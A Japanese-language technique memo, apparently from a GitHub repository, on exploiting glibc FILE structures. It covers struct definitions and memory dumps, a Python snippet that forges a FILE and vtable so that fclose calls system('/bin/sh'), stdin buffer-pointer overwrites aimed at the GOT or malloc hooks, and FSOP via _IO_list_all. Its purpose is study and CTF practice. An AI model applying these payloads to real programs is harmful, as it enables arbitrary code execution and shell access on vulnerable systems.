Skip to content

Latest commit

 

History

History
187 lines (156 loc) · 8.65 KB

FILE_structure_exploitation.md

File metadata and controls

187 lines (156 loc) · 8.65 KB

ファイル・ポインタや標準入出力に関連するFILE構造体を利用したexploitテクニックのメモ。

FILE構造体の基本情報

_IO_FILE、_IO_FILE_plus、_IO_jump_tの3つの構造体の定義とメモリーレイアウトをざっくり理解しておく。

  • _IO_FILE
struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

  • _IO_FILE_plus
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
  • _IO_jump_t 関数ポインタのテーブルになっている
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_FILE、_IO_FILE_plus、_IO_jump_tの3つの繋がりはこの図が分かり易い。 glibc-file-vtable

各々の_IO_FILEは_IO_list_allから連なるlinked listになっている。 2018-05-05 11 14 51

メモリーレイアウトは以下の通り。

  • stdoutのFILE構造体メモリーレイアウト
0x7ffff7dd4400 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007ffff7dd4483 flags / _IO_read_ptr
0x7ffff7dd4410 <_IO_2_1_stdout_+16>:	0x00007ffff7dd4483	0x00007ffff7dd4483 _IO_read_end / _IO_read_base
0x7ffff7dd4420 <_IO_2_1_stdout_+32>:	0x00007ffff7dd4483	0x00007ffff7dd4483 _IO_write_base / _IO_write_ptr
0x7ffff7dd4430 <_IO_2_1_stdout_+48>:	0x00007ffff7dd4483	0x00007ffff7dd4483 _IO_write_end / _IO_buf_base
0x7ffff7dd4440 <_IO_2_1_stdout_+64>:	0x00007ffff7dd4484	0x0000000000000000 _IO_buf_end / _IO_save_base
0x7ffff7dd4450 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000 _IO_backup_base / _IO_save_end
0x7ffff7dd4460 <_IO_2_1_stdout_+96>:	0x0000000000000000	0x00007ffff7dd4640 *_markers / *_chain 次の_IO_FILE structへのポインタ
0x7ffff7dd4470 <_IO_2_1_stdout_+112>:	0x0000000000000001	0xffffffffffffffff _fileno / ?
0x7ffff7dd4480 <_IO_2_1_stdout_+128>:	0x000000000a000000	0x00007ffff7dd59e0 ? / *_lock
0x7ffff7dd4490 <_IO_2_1_stdout_+144>:	0xffffffffffffffff	0x0000000000000000 
0x7ffff7dd44a0 <_IO_2_1_stdout_+160>:	0x00007ffff7dd44e0	0x0000000000000000
0x7ffff7dd44b0 <_IO_2_1_stdout_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd44c0 <_IO_2_1_stdout_+192>:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dd44d0 <_IO_2_1_stdout_+208>:	0x0000000000000000	0x00007ffff7dd26a0 _IO_jump_tへのポインタ
  • _IO_jump_tのメモリーレイアウト
0x7ffff7dd26a0 <_IO_file_jumps>:	0x0000000000000000	0x0000000000000000 __dummy / __dummy2
0x7ffff7dd26b0 <_IO_file_jumps+16>:	0x00007ffff7a8ac80	0x00007ffff7a8b6d0 
0x7ffff7dd26c0 <_IO_file_jumps+32>:	0x00007ffff7a8b480	0x00007ffff7a8c530
0x7ffff7dd26d0 <_IO_file_jumps+48>:	0x00007ffff7a8d6e0	0x00007ffff7a8a500
0x7ffff7dd26e0 <_IO_file_jumps+64>:	0x00007ffff7a8a210	0x00007ffff7a89870
0x7ffff7dd26f0 <_IO_file_jumps+80>:	0x00007ffff7a8caa0	0x00007ffff7a897e0
0x7ffff7dd2700 <_IO_file_jumps+96>:	0x00007ffff7a89710	0x00007ffff7a7e7b0
0x7ffff7dd2710 <_IO_file_jumps+112>:	0x00007ffff7a8a4e0	0x00007ffff7a89ed0
0x7ffff7dd2720 <_IO_file_jumps+128>:	0x00007ffff7a89cd0	0x00007ffff7a897d0
0x7ffff7dd2730 <_IO_file_jumps+144>:	0x00007ffff7a89ec0	0x00007ffff7a8d840
0x7ffff7dd2740 <_IO_file_jumps+160>:	0x00007ffff7a8d850	0x0000000000000000

Exploit

  • ファイル・ポインタの上書き

ファイル・ポインタを上書きできる場合、FILE構造体を偽装し、_IO_jump_tに任意の関数を仕込んでおくにより、fclose(fp)などが呼ばれた時にその関数を実行できる。下の例では、system("/bin/sh")が実行される。なおFILE構造体のflagsに第一引数(この場合は"/bin/sh¥0")をセットしておくことが可能。

    # fake _IO_FILE
    buf = "/bin/sh\0"
    buf += p(0)*16
    buf += p(addr) # *_lock: 有効なアドレスを入れておく、何でもよいわけじゃないらしい
    buf += p(0)*9
    buf += p(jump_table) # _IO_file_jumpsへのアドレス
    # fake _IO_file_jumps
    buf += p(0)*2
    buf += p(system)*19
  • _IO_buf_base/_IO_buf_endの上書き

stdinの_IO_buf_base/_IO_buf_endを上書きできる場合、scanf/fgets/gets等の関数の書き込み先をコントロールできる。 下の例だと0x602000に任意のデータを書き込める。書き込み先をGOTやfree_hook/malloc_hookにしておくことにより、one gadget rceなどを仕込むことができる。

0x7ffff7dd4640 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007ffff7dd46c3
0x7ffff7dd4650 <_IO_2_1_stdin_+16>:	0x00007ffff7dd46c3	0x00007ffff7dd46c3
0x7ffff7dd4660 <_IO_2_1_stdin_+32>:	0x00007ffff7dd46c3	0x00007ffff7dd46c3
0x7ffff7dd4670 <_IO_2_1_stdin_+48>:	0x00007ffff7dd46c3	0x0000000000602000 _IO_write_end / _IO_buf_base
0x7ffff7dd4680 <_IO_2_1_stdin_+64>:	0x0000000000602100	0x0000000000000000 _IO_buf_end / _IO_save_base
0x7ffff7dd4690 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd46a0 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd46b0 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd46c0 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd59f0
0x7ffff7dd46d0 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd46e0 <_IO_2_1_stdin_+160>:	0x00007ffff7dd4720	0x0000000000000000
0x7ffff7dd46f0 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd4700 <_IO_2_1_stdin_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd4710 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd26a0
  • FSOP(File Stream Oriented Programming)

angelboy氏の資料に記載のテクニック。

  1. 事前に_IO_list_allを上書きし、偽のFILE構造体のlinked listに繋いでおく。
  2. abort()が起きると、_IO_flush_all_lockpにより、_IO_list_allに連なる全てのFILE構造体のjump tableにある__overflowにセットされている関数が実行される。

2018-05-05 11 35 14

2018-05-05 11 33 19

参考